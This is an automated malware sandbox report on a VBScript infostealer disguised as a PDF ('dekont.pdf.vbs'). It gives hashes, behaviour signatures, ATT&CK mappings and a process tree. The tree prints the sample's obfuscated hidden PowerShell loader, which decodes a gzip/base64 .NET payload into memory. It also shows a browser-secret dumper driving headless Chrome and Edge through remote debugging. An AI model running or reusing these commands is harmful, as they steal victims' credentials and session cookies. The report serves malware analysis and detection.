Analysis
- max time kernel
300s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
09/07/2026, 12:20
Static task
static1
Behavioral task
behavioral1
Sample
dekont.pdf.vbs
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
dekont.pdf.vbs
Resource
win11ltsc2024-20260706-en
General
- Target dekont.pdf.vbs
- Size 14.5MB
- Sample260709-ph86xaas6l
- SHA256 959e842a149e5107ea007b3bf307cac4f03d235a220258f50a4d85e9f69be089
- MD5 5b3453fc3901d3a9af523904e4786a09
- SHA1 ffc95d86edd3636303ab0dfb73ffded4d5b3d96b
- SHA512 989aa77173ee989e71c114378528a1b8cc9420ac4e926330a888282e2f7b7c15665da516faf47ee04af3602039d9d3b20544053baa7348207e71ffa27e7130eb
- SSDEEP 768:TALpRVVM41qR+7qLfV4AanMA+jvfei7u475P0KsxMGc1VgPz5xmsYpBsa2YepPPo:RfPbjQkrEmD
- TLSH T1E9E6DD68EA94B0C5FDBE848A9172C664C82DB3895936BFFC784D1C350116A5F163B33B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4608 3888 powershell.exe 88 - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 1 4608 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 4608 powershell.exe 3184 powershell.exe - Uses browser remote debugging 2 TTPs 2 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
pid Process 2436 chrome.exe 6024 msedge.exe - Executes dropped EXE 1 IoCs
pid Process 1724 DumpBrowserSecrets.exe - Loads dropped DLL 2 IoCs
pid Process 2436 chrome.exe 6024 msedge.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msBuild.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4608 set thread context of 2336 4608 powershell.exe 93 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msBuild.exe - Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe - Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 4608 powershell.exe 3184 powershell.exe 4608 powershell.exe 3184 powershell.exe 4608 powershell.exe 4608 powershell.exe 4608 powershell.exe 4608 powershell.exe 4608 powershell.exe 4608 powershell.exe 1724 DumpBrowserSecrets.exe 1724 DumpBrowserSecrets.exe 2436 chrome.exe 2436 chrome.exe 1724 DumpBrowserSecrets.exe 1724 DumpBrowserSecrets.exe 6024 msedge.exe 6024 msedge.exe 1724 DumpBrowserSecrets.exe 1724 DumpBrowserSecrets.exe 2336 msBuild.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4608 powershell.exe Token: SeDebugPrivilege 3184 powershell.exe Token: SeDebugPrivilege 2336 msBuild.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2976 wrote to memory of 3184 2976 WScript.exe 91 PID 4608 wrote to memory of 2336 4608 powershell.exe 93 PID 4608 wrote to memory of 2336 4608 powershell.exe 93 PID 4608 wrote to memory of 2336 4608 powershell.exe 93 PID 4608 wrote to memory of 2336 4608 powershell.exe 93 PID 2336 wrote to memory of 1724 2336 msBuild.exe 94 PID 1724 wrote to memory of 2436 1724 DumpBrowserSecrets.exe 96 PID 2436 wrote to memory of 6008 2436 chrome.exe 97 PID 1724 wrote to memory of 6024 1724 DumpBrowserSecrets.exe 100 PID 6024 wrote to memory of 4488 6024 msedge.exe 102 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msBuild.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dekont.pdf.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('+R8VoxF1EItzFADxPm6zUS4PYv43pdzU4GlPzUE8O5m5lYDtKslJ7C22d0xVv4BroA6fcjZyY76n81wFAfepyA==','','ok93OCjVDptcCezKX8eltkp1K28SJgH1BC+oZ6ENDpIQpXz40QzPnThirbLxNt69','iT+EevM4Kjj9V7lqz4RJwYvLFRobpTKUY9A6DigWE9s=','7aM+XPqW50/clx+EELCfYyzWzGcqZhXDItoQxLy9xmo=','','5j7knKKkNUn3BxcUVPwmM70HqZjesp2uzjVtisTEPpw=','','w8y+KN3PRC3Qzq1rVPhF8B/SxOt3dqT6d4LxTu0OFjk=','RboeOD/3DKeis4ep/952OQFniZzXCYnypHt1AXjErIyqT2NTmV7g9thA0g/VeUEA','/esxW+1SryeeqdMU9eICr4RKy7WxmRt+8H3OhYItnDs=','T2rZrkpt6jX7V1/gzJcdD86pa+AGVAzrlhFOPfKw6vU=','XsVcUSyqPtBvG8xsTHOLpso4gk+aSGdySIXN7m2DT7M=','','tvvBwUQxah8RpLeVajj3ZbZghiT6f8vp26gHEEO0o1Y=','ZgHEhnSNeRb6ZMrWZy9KEQqeKiNmT4UR/TNAKK3EVlk=','','','')"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3184
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('+R8VoxF1EItzFADxPm6zUS4PYv43pdzU4GlPzUE8O5m5lYDtKslJ7C22d0xVv4BroA6fcjZyY76n81wFAfepyA==','','ok93OCjVDptcCezKX8eltkp1K28SJgH1BC+oZ6ENDpIQpXz40QzPnThirbLxNt69','iT+EevM4Kjj9V7lqz4RJwYvLFRobpTKUY9A6DigWE9s=','7aM+XPqW50/clx+EELCfYyzWzGcqZhXDItoQxLy9xmo=','','5j7knKKkNUn3BxcUVPwmM70HqZjesp2uzjVtisTEPpw=','','w8y+KN3PRC3Qzq1rVPhF8B/SxOt3dqT6d4LxTu0OFjk=','RboeOD/3DKeis4ep/952OQFniZzXCYnypHt1AXjErIyqT2NTmV7g9thA0g/VeUEA','/esxW+1SryeeqdMU9eICr4RKy7WxmRt+8H3OhYItnDs=','T2rZrkpt6jX7V1/gzJcdD86pa+AGVAzrlhFOPfKw6vU=','XsVcUSyqPtBvG8xsTHOLpso4gk+aSGdySIXN7m2DT7M=','','tvvBwUQxah8RpLeVajj3ZbZghiT6f8vp26gHEEO0o1Y=','ZgHEhnSNeRb6ZMrWZy9KEQqeKiNmT4UR/TNAKK3EVlk=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msBuild.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
PID:2336 -
C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe"C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe" /b:chrome /b:edge /b:brave /e:all3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --disable-gpu --remote-debugging-port=9222 --disable-background-timer-throttling4⤵
- Uses browser remote debugging
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2436 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome2436240756109 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome2436240756109\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome2436240756109 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x210,0x214,0x218,0x20c,0x21c,0x7ffab40cc728,0x7ffab40cc734,0x7ffab40cc7405⤵PID:6008
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --disable-gpu --remote-debugging-port=9222 --disable-background-timer-throttling4⤵
- Uses browser remote debugging
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6024 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6024240756484 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6024240756484\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x330,0x334,0x338,0x32c,0x340,0x7ffab3cac188,0x7ffab3cac194,0x7ffab3cac1a05⤵PID:4488
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:2072
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:4812
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C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵PID:252
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 444d000751aae10eb0f8d1f007aabc26a6b75a261238397be06a99cac24b8c39
- MD5 667e9259ac9a895e5e93fdd7286b4bf3
- SHA1 5f90304e8b178522e07136e3db10cda3b019c111
- SHA512 10dad30cb0b7dfc0ce916d84825e0bba5e03a456ef9a174bc5d4383f11de79867833c1d23a3e2751020b4e173fb17b23aeccc9469b002b9884f159cdc05b9f7d
- TLSH T1B0215673B3CC8624DC9A403650CEAC1036B687DB419EDE9BBB84D655B42F699DE60160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\ChromeData.json
- Size 322B
- SHA256 fabb998345291d66c170a3afcb7b249684d68493b0284ecd5c696d3588102cae
- MD5 70e6778e652850350c3ea4ab4e1371ff
- SHA1 d54e39b99f77bd4d48258d42d6f05f8b7aaab970
- SHA512 4f33ff4fa8b09919e794d0a5d35c931732882fed83d093f09bcc46a5ff778b44334d2cbd149267ed6398e0ffac5cc741f412fc444e9ae4550aa2f1a6b3652d79
- TLSH T16AE0262490B0401928C96F721C0612C3C7004FD68AA0BF22704E83D85B3F0A65B3DBD4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\DllExtractChromiumSecrets.dll
- Size 45KB
- SHA256 b0935270bc8ed6d31c5352c49a8f5d7cbe62457133fe1cf7effeeeb1440e9ce0
- MD5 f8c81aac564cf5834e602553a19c17a0
- SHA1 bee29ea3fe90c45bab11b2bf941fbbcbc6acbbf9
- SHA512 47b75ea9e8bf78c94d667b89baf395963d0ae14d7d5bb38bf10e4242c7d2dcca803488359a6855bcee8a34b076340858cd1640303dd58fcb5047d3c33b864d58
- SSDEEP 768:wvwHEYygsZskufDOF9H2+NR5hj5fltKm3PYI43MGnnJp1H3JKaObM0+MI7ZZQ0:wYkYygsZvufDO77PJltlfl4VJTH3Jx0C
- TLSH T15B23494E734905EEC996C6B8D064B81BF2F13449B620865F5370D92B6F27213FA3E74A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe
- Size 381KB
- SHA256 c934a2db58a1a64ee245a7627843508c6c517fcb06ea6855d26a72b41ae6753b
- MD5 0e51138ef195ac755f052babb761a1e7
- SHA1 3c7bbeabc56110d3463e6002cd0ff5c9a168d64b
- SHA512 fb0dac538776a0e0655fbdc2ca72c2965f42ac7f0f70bb8f1b405a2aff01f24d467d51e5526c7cb6aeda3e9440e6cfc89269b784a8dc3e9ecd68546499c17455
- SSDEEP 6144:axlobBTrFQ4DwLin1zF2UMus9nAauNXlqciCucn6BqGjbCEg7rLbuZhn3l+CoWZk:8QdyBxjbCFroh3l+C6E0+
- TLSH T19F849F59E3E504F9E5A3D238C462D527E6717C465730CF9F22B48B2A2F232A29E3C751
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\EdgeData.json
- Size 429B
- SHA256 cc65fd7cb75f7f83428e67dc3d8e5285cacd925f3073905ed64b1416a088e52f
- MD5 f68b467dec028a6747b141c3bdafed31
- SHA1 5a3d6c910c4a6919daeccf8a23407805efa1e2bc
- SHA512 46613bbc55dc5f9fbf3c995f5451a4d488aed04a9c196538ce421b6b1212cf487702a4a4b61e0cc617e6ea9c1d9d8975bcd1cae354f2f69a4d3fab101c63e7e1
- TLSH T1C9E02B15D574848315CD2E305C4E13C39741AD4786A03F01768ED6DC9F1D52B0BBE6F6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6024240756484\Crashpad\settings.dat
- Size 280B
- SHA256 f2b1441e76554096e226b495d336fa903ad07ef2a38a684b16808fa315b7928e
- MD5 49d721d598cabdd8d6c394980e80f461
- SHA1 f56dc8dca77d1d2ad240c6e8df3713dac3fb3c7d
- SHA512 347b0a3d7511eb969b7159b15336c1681265ed3c7fe8ad6b1bc125281232afe6796eb870c1841faca7264ae4d88283bcd0ee66c29707de863fdc0779d35d5b8d
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6024240756484\Crashpad\throttle_store.dat
- Size 20B
- SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
- MD5 9e4e94633b73f4a7680240a0ffd6cd2c
- SHA1 e68e02453ce22736169a56fdb59043d33668368f
- SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
- MD5 SHA1 SHA512